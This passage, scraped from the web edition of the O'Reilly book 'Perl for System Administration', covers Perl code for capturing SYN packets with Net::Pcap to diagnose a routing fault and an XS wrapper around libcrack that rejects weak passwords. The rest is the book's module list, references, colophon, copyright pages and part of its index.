
libpcap gives you the ability to capture all network traffic or a select subset based on filter criteria of your choosing. Its filtering mechanism is very efficient, so it is often best to invoke it up front, rather than sifting through all of the packets via Perl code. In our case, we need to only look at SYN packets.

So what's a SYN packet? To understand that, you need to know a little bit about how TCP packets are put together. Figure 10-2 shows a picture from RFC793 of a TCP packet and its header.

Figure 10.2. Diagram of a TCP packet

A SYN packet, for our purposes, is simply one that has only the SYN flag (highlighted in Figure 10-2) in the packet header set. In order to tell libpcap to capture packets like this, we need to specify which byte it should look at in the packet. Each tick mark above is a bit, so let's count bytes. Figure 10-3 shows the same packet with byte numbers.

Figure 10.3. Finding the right byte in a TCP packet

We'll need to check if byte 13 is set to binary 00000010, or 2. The filter string we'll need is tcp[13] = 2. If we wanted to check for packets which had at least the SYN flag set, we could use tcp[13] & 2 != 0. This filter string then gets compiled into a filter program and set:

$prog = "tcp[13] = 2";

# compile and set our "filter program"
die "unable to compile $prog\n"
  if (Net::Pcap::compile($descript ,\$compprog,$prog,0,$netmask)) ;
die "unable to set filter\n"
  if (Net::Pcap::setfilter($descript,$compprog));

We're seconds away from letting libpcap do its stuff. Before we can, we need to tell it what to do with the packets it retrieves for us. For each packet it sees that matches our filter program, it will execute a callback subroutine of our choice. This subroutine is handed three arguments:

  1. A user ID string, optionally set when starting a capture, that allows a callback procedure to distinguish between several open packet capture sessions.

  2. A reference to a hash describing the packet header (timestamps, etc.).

  3. A copy of the entire packet.

We'll start with a very simple callback subroutine that prints the length of the packet we receive:

sub printpacketlength {
  print length($_[2]),"\n";
}

With our callback subroutine in place, we begin watching the wire for SYN packets:

die "Unable to perform capture:".Net::Pcap::geterr($descript)."\n"
  if (Net::Pcap::loop($descript,-1,\&printpacketlength, ''));

die "Unable to close device nicely\n"
  if (Net::Pcap::close($descript));

The second argument of -1 to Net::Pcap::loop( ) specifies the number of packets we wish to capture before exiting. In this case we've signaled it to capture packets ad infinitum.

The code you've just seen captures SYN packets and prints their lengths, but that's not quite where we wanted be when we started this section. We need a program that watches for SYN packets from another network and attempts to ping the originating hosts. We have almost all of the pieces; the only thing we are missing is a way to take the SYN packets we've received and determine their source.

Like our nitty-gritty DNS example in Chapter 5, "TCP/IP Name Services", we'll need to take a raw packet and dissect it. Usually this entails reading the specifications (RFCs) and constructing the necessary unpack( ) templates. Tim Potter has done this hard work, producing a set of NetPacket modules: NetPacket::Ethernet, NetPacket::IP, NetPacket::TCP, NetPacket::ICMP, and so on. Each of these modules provides two methods: strip( ) and decode( ).

strip( ) simply returns the packet data with that network layer stripped from it. Remember, a TCP/IP packet on an Ethernet network is really just a TCP packet embedded in an IP packet embedded in an Ethernet packet. So if $pkt holds a TCP/IP packet, NetPacket::Ethernet::strip($pkt) would return an IP packet (having stripped off the Ethernet layer). If you needed to get at the TCP portion of $pkt, you could use NetPacket::IP::strip(NetPacket::Ethernet::strip($packet)) to strip off both the IP and Ethernet layers.

decode( ) takes this one step further. It actually breaks a packet into its component parts and returns an instance of an object that contains all of these parts. For instance:

NetPacket::TCP->decode(
   NetPacket::IP::strip(NetPacket::Ethernet::strip($packet)))

This returns an object instance with the following fields:

Field Name | Description
src_port | Source TCP port
dest_port | Destination TCP port
Seqnum | TCP sequence number
Acknum | TCP acknowledgment number
Hlen | Header length
Reserved | 6-bit "reserved" space in the TCP header
Flags | URG, ACK, PSH, RST, SYN, and FIN flags
Winsize | TCP window size
Cksum | TCP checksum
Urg | TCP urgent pointer
Options | Any TCP options in binary form
Data | Encapsulated data (payload) for this packet

These should look familiar to you from Figure 10-2. To get the destination TCP port for a packet, we can use:

$pt = NetPacket::TCP->decode(
         NetPacket::IP::strip(
             NetPacket::Ethernet::strip($packet)))->{dest_port};

Let's tie this all together and throw in one more dash of variety. Potter has created a small wrapper for the Net::Pcap initialization and loop code and released it in his Net::PcapUtils module. It handles several of the steps we performed, making our code shorter. Here it is in action, along with everything else we've learned along the way in the last section:

use Net::PcapUtils;

use NetPacket::Ethernet;
use NetPacket::IP;

use Net::Ping;

# local network
$localnet = "192.168.1";
# filter string that looks for SYN-only packets not originating from
# local network
$prog = "tcp[13] = 2 and src net not $localnet";

$| = 1; # unbuffer STDIO

# construct the ping object we'll use later
$p = new Net::Ping("icmp");

# and away we go
die "Unable to perform capture:".Net::Pcap::geterr($descript)."\n"
  if (Net::PcapUtils::open_live(\&grab_ip_and_ping, FILTER => $prog));

# find the source IP address of a packet, and ping it (once per run)
sub grab_ip_and_ping{
    my ($arg,$hdr,$pkt) = @_ ;

    # get the source IP adrress
    $src_ip = NetPacket::IP->decode(
                 NetPacket::Ethernet::strip($pkt))->{src_ip};

    print "$src_ip is ".(($p->ping($src_ip)) ?
                         "alive" : "unreachable")."\n"
      unless $cache{$src_ip}++;
}

Now that we've achieved our goal of writing a program completely in Perl that would have helped diagnose my server problem (albeit using some modules that are Perl wrappers around C code), let me tell you the end of the story.

On Sunday morning, the central support group outside of my department discovered an error in their router configuration. A student in one of the dorms had installed Linux on his machine and misconfigured the network routing daemon. This machine was broadcasting to the rest of the university that it was a default route to the Internet. The misconfigured router that fed our department was happy to listen to this broadcast and promptly changed its routing table to add a second route to the rest of the universe. Packets would come to us from the outside world, and this router dutifully doled out our response packets evenly between both destinations. This "a packet for the real router to the Internet, a packet for the student's machine, a packet for the real router, a packet for the student's machine..." distribution created an asymmetric routing situation. Once the bogus route was cleared and filters put in place to prevent it from returning, our life returned to normal. I won't tell you what happened to the student who caused the problem.

In this section, you have now seen one diagnostic application of the Net::Pcap, Net::PcapUtils, and NetPacket::* family of modules. Don't stop there! These modules give you the flexibility to construct a whole variety of programs that can help you debug network problems or actively watch your wire for danger.

Previous | Home | Next
10.3. SNMP | Book Index | 10.5. Preventing Suspicious Activities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preventing Suspicious Activities (Perl for System Administration)

 Perl for System AdministrationSearch this book

10.5. Preventing Suspicious Activities

The very last attribute of a night watchman that we will consider is an eye towards prevention. This is the voice that says "You know, you shouldn't leave those fresh-baked pies on the window sill to cool."

We're going to conclude this chapter with an example that, when properly deployed, could positively impact a single machine, or an entire computing infrastructure. As a symbolic gesture to close this book, we'll build our own module instead of showing you how to make use of other people's.

The goal I have in mind is the prevention, or at least reduction, of bad passwords. Good security mechanisms have been thwarted by the selection of bad passwords since the dawn of time. Oog's password to get back into the clan's cave was probably "oog." Nowadays, the situation is exacerbated by the widespread availability of sophisticated password cracking programs like John the Ripper by Solar Designer, L0phtCrack by Mudge and Weld Pond, and Alec Muffett's Crack.

The only way to prevent the vulnerability in your systems these programs expose is to avoid bad passwords in the first place. You need to help your users choose and retain hard-to-crack passwords. One way to do this on Unix machines (though the code could easily be ported to NT or MacOS) is to use libcrack, also by Alec Muffett. In the process of writing Crack, Muffett did the system administration community a great service by taking some of the methods used in Crack and distilling them to a single password-checking library written in C.

This library has exactly one function for its user interface: FascistCheck( ). FascistCheck( ) takes two arguments: a string to check and the full pathname prefix of the dictionary file created when installing libcrack. It returns either NULL if the string would be a "safe" password, or an explanatory piece of text, e.g., "is a dictionary word," if it is vulnerable to cracking. It would be extremely handy to be able to use this functionality as part of any Perl program that sets or changes a password,[2] so let's look at how we would build a module that would incorporate this function. This foray will require a very brief peek at some C code, but I promise it will be quick and painless.

[2]A similar example where libcrack has been put to good use is npasswd (found at http://www.utexas.edu/cc/unix/software/npasswd/), Clyde Hoover's superb replacement for the Unix changing program passwd.

Our first step is to build the libcrack package at http://www.users.dircon.co.uk/~crypto/. The process detailed in the distribution is straightforward. Let me offer two hints:

  • The larger the dictionary you can build, the better. A good source of wordlists to be included in that dictionary is ftp://ftp.ox.ac.uk/pub/wordlists. The build process requires a significant amount of temporary disk space (for the sort process in utils/mkdict), so plan accordingly.

  • Be sure to build libcrack with the same development tools you built Perl. For instance, if you used gcc to compile Perl, be sure to use gcc for the libcrack build process as well. This is true of all modules that need to link in additional C libraries.

Once we have the C library libcrack.a built, we need to pick a method for calling the FascistCheck( ) function in that library from within Perl. There are two popular methods for creating this sort of binding, XS and SWIG. We'll be using XS because it is easy to use for simple jobs and all of the necessary tools ship with the Perl distribution. For an in depth comparison of the two methods, see Advanced Perl Programming by Sriram Srinivasan (O'Reilly).

The easiest way to begin with XS is to use the h2xs program to create a proto-module for you:

$ h2xs -A -n Cracklib
Writing Cracklib/Cracklib.pm
Writing Cracklib/Cracklib.xs
Writing Cracklib/Makefile.PL
Writing Cracklib/test.pl
Writing Cracklib/Changes
Writing Cracklib/MANIFEST

Table 10-2 describes the files created by this command.

Table 10.2. Files Created by h2xs -A -n Cracklib

Filename | Description
Cracklib/Cracklib.pm | Prototype Perl stub and documentation
Cracklib/Cracklib.xs | C code glue
Cracklib/Makefile.PL | Makefile-generating Perl code
Cracklib/test.pl | Prototype test code
Cracklib/Changes | Version documentation
Cracklib/MANIFEST | List of files shipped with module

We only need to change two of these files to get the functionality we seek. Let's take on the hardest part first: the C code glue. Here's how the function is defined in the libcrack documentation:

char *FascistCheck(char *pw, char *dictpath);

In our Cracklib/Cracklib.xs glue file, we repeat this definition:

PROTOTYPES: ENABLE

char *
FascistCheck(pw,dictpath)
      char *pw
      char *dictpath

The PROTOTYPES directive will create Perl prototypes for the functions in our glue file. This isn't an issue for the code we're writing, but we include the directive to stifle a warning message in the build process.

Right after the function definition, we describe how it's called and what it returns:

CODE:
      RETVAL = (char *)FascistCheck(pw,dictpath);
      OUTPUT:
      RETVAL

RETVAL is the actual glue here. It represents the transfer point between the C code and the Perl interpreter. Here we tell Perl that it should receive a string of characters returned from the FascistCheck( ) C library function and make that available as the return value (i.e., OUTPUT) of the Perl Cracklib::FascistCheck( ) function. That's all the C code we'll need to touch.

The other file we need to modify needs only a single line changed. We need to add another argument to the WriteMakefile( ) call in Makefile.PL to be sure Perl can find the libcrack.a file. Here's that new line in context:

'LIBS'      => [''],   # e.g., '-lm'
 'MYEXTLIB' => '/usr/local/lib/libcrack$(LIB_EXT)' # location of cracklib
 'DEFINE'    => '',     # e.g., '-DHAVE_SOMETHING'

That's the bare minimum we need to do to make this module work. If we type:

perl Makefile.PL
make
make install

we could begin to use our new module like this:

use Cracklib;
use Term::ReadKey;    # for reading of password

$dictpath = "/usr/local/etc/cracklib/pw_dict";

print "Please enter a password: ";
ReadMode 2;           # turn off echo
chomp($pw = ReadLine);# read password
ReadMode 0;           # return tty to prev state
print "\n";

$result = Cracklib::FascistCheck($pw,$dictpath);
if (defined $result){
    print "That is not a valid password because $result.\n";
}
else {
    print "That password is peachy, thanks!\n";
}

Don't skip right to using the module yet. Let's make this a professional-grade module before we install it.

First, add a script to test that the module is working correctly. This script needs to call our function with some known values and report back in a very specific way if it received the correct known responses. At the start of our tests, we need to print a range of test numbers. For example, if we were going to provide 10 tests, we would first print 1..10. Then, for every test we perform, we need to print either "ok" or "not ok" and the test number. The standard Perl module building code will then interpret this output and present the user with a nice summary of the test results.

h2xs was kind enough to provide a sample test script we can modify. Let's make a t directory (the standard default directory for a module test suite) and rename test.pl to t/cracklib.t. Here's some code we can tag on to the end of t/cracklib.t to perform a set of tests:

# location of our cracklib dictionary files
$dictpath = "/usr/local/etc/pw_dict";

# test strings and their known cracklib responses
%test =
  ("happy"        => "it is too short",
   "a"            => "it's WAY too short",
   "asdfasdf"     => "it does not contain enough DIFFERENT characters",
   "minicomputer" => "it is based on a dictionary word",
   "1ftm2tgr3fts" => "");

# Cycle through all of the keys in our mapping, checking to see if
# cracklib returns the expected response. If it does, print "ok",
# otherwise print "not ok"
$testnum = 2;
foreach $pw (keys %test){
    my ($result) = Cracklib::FascistCheck($pw,$dictpath);
    if ((defined $result and $result eq $test{$pw}) or
       (!defined $result and $test{$pw} eq "")){
          print "ok ",$testnum++,"\n";
    }
    else {
        print "not ok ",$testnum++,"\n";
    }
}

There are six tests being made (the previous five from the %test hash and a module load test), so we need to change the line in t/cracklib.t that says:

BEGIN { $| = 1; print "1..1\n"; }

to:

BEGIN { $| = 1; print "1..6\n"; }

Now, we can type make test and Makefile will run the test code to check that our module is working properly.

A test script is certainly important, but our script won't be nearly respectable if we omit this crucial component: documentation. Take some time and flesh out the stub information in the Cracklib.pm and Changes files. It is also a good idea to add a README or INSTALL file describing how to build the module, where to get the component parts like libcrack, example code, etc. These new files and the earlier renaming of the test.pl file should be noted in the MANIFEST file to keep the generic module-building code happy.

Finally, install your module everywhere in your infrastructure. Sprinkle calls to Cracklib::FascistCheck( ) everywhere you need to set or change passwords. As the number of bad passwords diminishes in your environment, so shall the night watchman smile kindly upon you.

Previous | Home | Next
10.4. Danger on the Wire | Book Index | 10.6. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

10.6. Module Information for This Chapter

Module | CPAN ID | Version
Getopt::Std (ships with Perl) |  | 1.01
Digest::MD5 | GAAS | 2.09
Net::DNS | MFUHR | 0.12
FreezeThaw | ILYAZ | 0.3
File::Find (ships with Perl) |  |
Net::SNMP | DTOWN | 3.01
SNMP | GSM | 3.10
Net::Ping (ships with Perl) | RMOSE | 2.02
Net::Pcap | TIMPOTTER | 0.03
Net::PcapUtils | TIMPOTTER | 0.01
NetPacket | TIMPOTTER | 0.01
Term::ReadKey | KJALB | 2.14
Previous | Home | Next
10.5. Preventing Suspicious Activities | Book Index | 10.7. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

10.7. References for More Information

10.7.1. Change Detection Tools

http://www.securityfocus.com is one of the best security-related sites on the Net. In addition to being home to some of the top security-related mailing lists, this site also has a superb free tools library. Many tripwire-like tools can be found in the "auditing, file integrity" portion of this library.

MacPerl:Power and Ease, by Vicki Brown and Chris Nandor (Prime Time Freeware, 1998). This book plus the perlport manual page were the major sources for the stat( ) information table in the first section of this chapter.

RFC1321:The MD5 Message-Digest Algorithm, R. Rivest, 1992.

http://www.tripwire.com/tripwire used to be the canonical free tool for filesystem change detection. It has since been commercialized, but the older free versions are still available.

10.7.2. SNMP

There are approximately 60 active RFCs with SNMP in their titles (and about 100 total which mention SNMP). Here are just the RFCs we reference in this chapter or in Appendix E, "The Twenty-Minute SNMP Tutorial".

RFC1157:A Simple Network Management Protocol (SNMP), J. Case, M. Fedor, M. Schoffstall, and J. Davin, 1990.

RFC1213:Management Information Base for Network Management of TCP/IP-based internets:MIB-II, K. McCloghrie and M. Rose, 1991.

RFC1493:Definitions of Managed Objects for Bridges, E. Decker, P. Langille, A. Rijsinghani, and K. McCloghrie, 1993.

RFC1573:Evolution of the Interfaces Group of MIB-II, K. McCloghrie and F. Kastenholz, 1994.

RFC1905:Protocol Operations for Version 2 of the Simple Network Management Protocol (SNMPv2), J. Case, K. McCloghrie, M. Rose, and S. Waldbusser, 1996.

RFC1907:Management Information Base for Version 2 of the Simple Network Management Protocol (SNMPv2), J. Case, K. McCloghrie, M. Rose, and S. Waldbusser, 1996.

RFC2011:SNMPv2 Management Information Base for the Internet Protocol using SMIv2, K. McCloghrie, 1996.

RFC2012:SNMPv2 Management Information Base for the Transmission Control Protocol using SMIv2, K. McCloghrie, 1996.

RFC2013:SNMPv2 Management Information Base for the User Datagram Protocol using SMIv2, K. McCloghrie, 1996.

RFC2274:User-based Security Model (USM) for version 3 of the Simple Network Management Protocol (SNMPv3), U. Blumenthal and B. Wijnen, 1998.

RFC2275:View-based Access Control Model (VACM) for the Simple Network Management Protocol (SNMP), B. Wijnen, R. Presuhn, and K. McCloghrie, 1998.

RFC2578:Structure of Management Information Version 2 (SMIv2), K. McCloghrie, D. Perkins, and J. Schoenwaelder, 1999.

Here are some good general SNMP resources:

http://ucd-snmp.ucdavis.edu is the home of the UCD-SNMP project.

http://www.cisco.com/public/sw-center/netmgmt/cmtk/mibs.shtmlis the location of Cisco's MIB files. Other vendors have similar sites.

http://www.snmpinfo.com is the home of the company SNMPinfo and David Perkins (an SNMP guru who actively posts to comp.protocols.snmp, and one of the authors of Understanding SNMP MIBs).

http://www.ibr.cs.tu-bs.de/ietf/snmpv3/ is an excellent resource on Version 3 of SNMP.

http://www.mrtg.org and http://www.munitions.com/~jra/cricket/ are the homes of find Multi Router Traffic Grapher (MRTG) and its descendant Cricket (written in Perl!), two good examples of how SNMP can be used to do long-term monitoring of devices.

Understanding SNMP MIBs, by David Perkins and Evan McGinnis (Prentice-Hall, 1996).

http://www.snmp.org is the home of the company SNMP Research. The "SNMP Framework" section of their site has some good references, including the comp.protocols.snmp FAQ.

10.7.3. Other Resources

Advanced Perl Programming, by Sriram Srinivasan (O'Reilly, 1997) has a good section on the creation of Perl modules.

http://www.bb4.com and http://www.kernel.org/software/mon/ are the homes of BigBrother and Mon, two good examples of packages that provide a general framework for monitoring real-time events (as opposed to the historical monitoring frameworks provided by MRTG and Cricket).

http://www.tcpdump.org is the home of libpcap and tcpdump.

RFC793:Transmission Control Protocol, J. Postel, 1981.

Previous | Home | Next
10.6. Module Information for This Chapter | Book Index | A. The Five-Minute RCS Tutorial
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal on the cover of Perl for System Administration is a sea otter. North American sea otters make their homes along the Pacific coast, near the kelp beds containing the shellfish that make up the majority of their diet. Sea otters can be found in great numbers in Alaska, and on beaches as far south as California.

Sea otters are agile and intelligent mammals, and are known to make ingenious use of tools. Floating on their backs, they hold a shellfish such as a mussel or abalone on their bellies, and use a rock to break the shell.

Intensely social, sea otters gather to float in groups called rafts. They are excellent swimmers, propelling themselves swiftly through the water with their flipper-like, webbed back paws. Their thick fur provides them with efficient insulation in the water. At times, their existence has been threatened as they have been mercilessly hunted to near extinction for their fur.

Colleen Gorman was the production editor and copyeditor for Perl for System Administration. Jane Ellin was the proofreader. Mary Sheehan and Emily Quill provided quality control. Molly Shangraw, Maeve O'Meara, Gabe Weiss, Mary Sheehan, and Darren Kelly provided production support. Nancy Crumpton wrote the index.

Hanna Dyer designed the cover of this book, based on a series design by Edie Freedman. The cover image is an original illustration created by Lorrie LeJeune. Emma Colby produced the cover layout with QuarkXPress 3.32 using Adobe's ITC Garamond font.

Alicia Cech and David Futato designed the interior layout based on a series design by Nancy Priest. Mike Sierra and David Futato implemented the design in FrameMaker 5.5.6. The text and heading fonts are ITC Garamond Light and Garamond Book. The illustrations that appear in the book were produced by Robert Romano and Rhon Porter using Macromedia FreeHand 8 and Adobe Photoshop 5. This colophon was written by Colleen Gorman.

Previous | Home
Index | Book Index

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


O'Reilly Copyright Statement

 Perl for System Administration Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Perl for System Administration
By David N. Blank-Edelman
ISBN 1-56592-609-9

Print book copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.
Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl for System Administration

by David N. Blank-Edelman
ISBN 1-56592-609-9
First edition, published July 2000.
(See the catalog page for this book.)

Search the text of Perl for System Administration.

Table of Contents

Copyright Page
Preface
Chapter 1: Introduction
Chapter 2: Filesystems
Chapter 3: User Accounts
Chapter 4: User Activity
Chapter 5: TCP/IP Name Services
Chapter 6: Directory Services
Chapter 7: SQL Database Administration
Chapter 8: Electronic Mail
Chapter 9: Log Files
Chapter 10: Security and Network Monitoring
Appendix A: The Five-Minute RCS Tutorial
Appendix B: The Ten-Minute LDAP Tutorial
Appendix C: The Eight-Minute XML Tutorial
Appendix D: The Fifteen-Minute SQL Tutorial
Appendix E: The Twenty-Minute SNMP Tutorial
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Perl for System Administration

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/sysadmin/index/copyrght.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Index: 0

Perl for System AdministrationSearch this book

Index: Symbols

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A

Access Control List (ACL): 2.2.2. Microsoft Windows NT/2000
account creation/deletion, programs for
Unix: 3.3.2.1. Unix account creation and deletion routines
Windows NT/2000: 3.3.2.2. Windows NT/2000 account creation and deletion routines
account systems: 3.3.1. The Backend Database
building: 3.3. Building an Account System to Manage Users
databases, use in: 3.3.1. The Backend Database
Active Directory: 6.5. ADSI (Active Directory Service Interfaces)
Active Directory Service Interfaces (see ADSI)
ActiveState repository: 1.5. Locating and Installing Modules
ActiveX Data Objects (see ADO)
adcomplain program: 8.3.3. Tracking Down Spam
ADO (ActiveX Data Objects): 6.5.6. Searching
ADSI (Active Directory Service Interfaces): 3.2.1. NT/2000 User Identity Storage and Access
6.5. ADSI (Active Directory Service Interfaces)
6.5.1. ADSI Basics
resources for using: 6.5.1. ADSI Basics
searches in: 6.5.6. Searching
system administration with: 6.5.8. Working with Users via ADSI
using from Perl: 6.5.2. Using ADSI from Perl
ADSIDump program: 6.5.5. So How Do You Know Anything About an Object?
ADsPaths: 6.5.1. ADSI Basics
6.5.5. So How Do You Know Anything About an Object?
6.5.7. Performing Common Tasks Using the WinNT and LDAP Namespaces
algorithm, message-digest: 10.1.1. Local Filesystem Changes
American Registry for Internet Numbers (ARIN): 8.3.3.2. Checking against Internet-wide blacklists
APNIC (Asia Pacific Address Allocations): 8.3.3.2. Checking against Internet-wide blacklists
Apple Events: 8.1.2. Using the OS-Specific IPC Framework.
AppleScript: 8.1.2. Using the OS-Specific IPC Framework.
8.1.2. Using the OS-Specific IPC Framework.
@ARGV, retrieving under Mac OS: 2.4. Walking the Filesystem Using the File::Find Module
ARIN (American Registry for Internet Numbers): 8.3.3.2. Checking against Internet-wide blacklists
Asia Pacific Address Allocations (APNIC): 8.3.3.2. Checking against Internet-wide blacklists

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

base DN (LDAP): 6.4.3. Performing LDAP Searches
Berkeley DB
format: 9.5.4.1. Using Perl-only databases
module: 8.3.3.1. Checking against a local blacklist
Berkeley Fast File System: 2.2.1. Unix
bigbuffy program: 9.4.2. Circular Buffering
bind DN (LDAP): 6.4.2. The Initial LDAP Connection
blacklists, checking spam against
Internet-wide: 8.3.3.2. Checking against Internet-wide blacklists
local: 8.3.3.1. Checking against a local blacklist
blat program: 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
bots: 4.4.2. Tracking Operations in Unix
security and: 4.3.4. Using the Proc::ProcessTable Module
BSD 4.4 password files: 3.1.3. Binary Database Format in BSD 4.4
building account systems: 3.3. Building an Account System to Manage Users

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

chpasswd command (BSD 4.4): 3.1.3. Binary Database Format in BSD 4.4
ci command (RCS): A. The Five-Minute RCS Tutorial
CIM (Common Information Model): 4.2.4. Using Window Management Instrumentation (WMI)
CIM Schema: 4.2.4. Using Window Management Instrumentation (WMI)
clog program: 10.4.1. Perl Saves the Day
closure programming construct: 8.2.1.1. Controlling the frequency of mail
co command (RCS): A. The Five-Minute RCS Tutorial
Collaborative Data Objects Library: 8.1.2. Using the OS-Specific IPC Framework.
COM (Component Object Model): 4.2.4. Using Window Management Instrumentation (WMI)
6.5.1. ADSI Basics
Common Information Model (CIM): 4.2.4. Using Window Management Instrumentation (WMI)
Component Object Model (see COM)
Comprehensive Perl Archive Network (see CPAN)
configuration files
DNS
administrative header: 5.3.1.1. Creating the administrative header
generating multiple: 5.3.1.2. Generating multiple configuration files
reading, security of: 1.6.3. Be Careful When Reading Data
container objects (COM): 6.5.1. ADSI Basics
6.5.3. Dealing with Container/Collection Objects
identifying: 6.5.4. Identifying a Container Object
CPAN (Comprehensive Perl Archive Network): 1.5. Locating and Installing Modules
modules, installing on Unix: 1.5.1. Installing Modules on Unix
CPAN Search: 1.5. Locating and Installing Modules
Crack program: 10.5. Preventing Suspicious Activities

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

Data Source Name (DSN): 7.3. Using the ODBC Framework
data structures, transforming: 3.3.1.4. Writing XML using XML::Simple
database handle, DBI: 7.3. Using the ODBC Framework
Database Interface (see DBI)
databases
analyzing log files with: 9.5.4. Using Databases
generating DNS configuration files from: 5.3.1. Generating DNS Configuration Files
generating host files from: 5.1.1. Generating Host Files
error checking while: 5.1.2. Error Checking the Host File Generation Process
improving output while: 5.1.3. Improving the Host File Output
MySQL: D. The Fifteen-Minute SQL Tutorial
relational: D.5. Relating Tables to Each Other
SAM: 3.2.1. NT/2000 User Identity Storage and Access
SQL
creating/deleting: D.1. Creating /Deleting Databases and Tables
documenting from Perl: 7.4. Server Documentation
interacting with from Perl: 7.1. Interacting with an SQL Server from Perl
managing logins from Perl: 7.5. Database Logins
manipulating data in: D.3.3. Simple Manipulation of Data Returned by Queries
monitoring from Perl: 7.6. Monitoring Server Health
Perl-cliented: 9.5.4.2. Using Perl-cliented SQL databases
querying information: D.3. Querying Information
stored procedures: D.6.3. Stored Procedures
using DBI: 7.2. Using the DBI Framework
using ODBC: 7.3. Using the ODBC Framework
tracking network host data with: 5.1.1. Generating Host Files
use in account systems: 3.3.1. The Backend Database
DBAs (database administrators): 7. SQL Database Administration
DBD modules: 7.1. Interacting with an SQL Server from Perl
DBD\:\:ODBC module: 7.1. Interacting with an SQL Server from Perl
7.1. Interacting with an SQL Server from Perl
DBD\:\:Sybase module: 7.1. Interacting with an SQL Server from Perl
DB_File module: 9.5.4.1. Using Perl-only databases
DBI (Database Interface)
module for documenting
MySQL server: 7.4.1. MySQL Server via DBI
Sybase server: 7.4.2. Sybase Server via DBI
architecture of: 7.1. Interacting with an SQL Server from Perl
database handle: 7.3. Using the ODBC Framework
placeholders: 7.2. Using the DBI Framework
statement handle: 7.2. Using the DBI Framework
using from Perl: 7.2. Using the DBI Framework
denial-of-service attack: 10.4.1. Perl Saves the Day
Dial-Up User List: 8.3.3.2. Checking against Internet-wide blacklists
Digest\:\:MD5 module: 10.1.1. Local Filesystem Changes
10.1.2. Network Service Changes
directories: 6.1. What's a Directory?
auditing: 4.4.1. Tracking Operations on Windows NT/2000
entries in
adding/deleting: 6.4.6. Adding Entries with Standard LDAP Operations
modifying: 6.4.8. Modifying Entry Names
hidden, searching for: 10.2.1. Local Signs of Peril
searches of
ADSI: 6.5.6. Searching
LDAP: 6.4.3. Performing LDAP Searches
Directory Information Tree (DIT): B.1. LDAP Data Organization
directory services: 6. Directory Services
Finger: 6.2. Finger: A Simple Directory Service
LDAP: 6.4. LDAP: A Sophisticated Directory Service
WHOIS: 6.3. The WHOIS Directory Service
Net\:\:Whois, using with: 6.3. The WHOIS Directory Service
X.500: 6.4. LDAP: A Sophisticated Directory Service
directory tree: B.1. LDAP Data Organization
disks, full
alleviating: 2.4. Walking the Filesystem Using the File::Find Module
of logging output: 9.4. Disk Space Problems
Distinguished Name (DN): B.1. LDAP Data Organization
Distributed Management Task Force (DMTF): 4.2.4. Using Window Management Instrumentation (WMI)
DIT (Directory Information Tree): B.1. LDAP Data Organization
DMTF (Distributed Management Task Force): 4.2.4. Using Window Management Instrumentation (WMI)
DN (Distinguished Name): B.1. LDAP Data Organization
root: 6.4.2. The Initial LDAP Connection
DNS (Domain Name Service): 5.3. Domain Name Service (DNS)
configuration files
administrative header: 5.3.1.1. Creating the administrative header
generating multiple: 5.3.1.2. Generating multiple configuration files
packets: 5.3.2.2. Working with raw network sockets
querying from Perl
using Net\:\:DNS: 5.3.2.3. Using Net::DNS
using nslookup: 5.3.2.1. Using nslookup
using raw sockets: 5.3.2.2. Working with raw network sockets
Document Type Definition (DTD): C.2. XML Is Picky
documenting databases
with DBI module
MySQL server: 7.4.1. MySQL Server via DBI
Sybase server: 7.4.2. Sybase Server via DBI
with Win32\:\:ODBC module, MS-SQL server: 7.4.3. MS-SQL Server via ODBC
Domain Name Service (see DNS)
driver, Linux: 2.1. Perl to the Rescue
DSN (Data Source Name): 7.3. Using the ODBC Framework
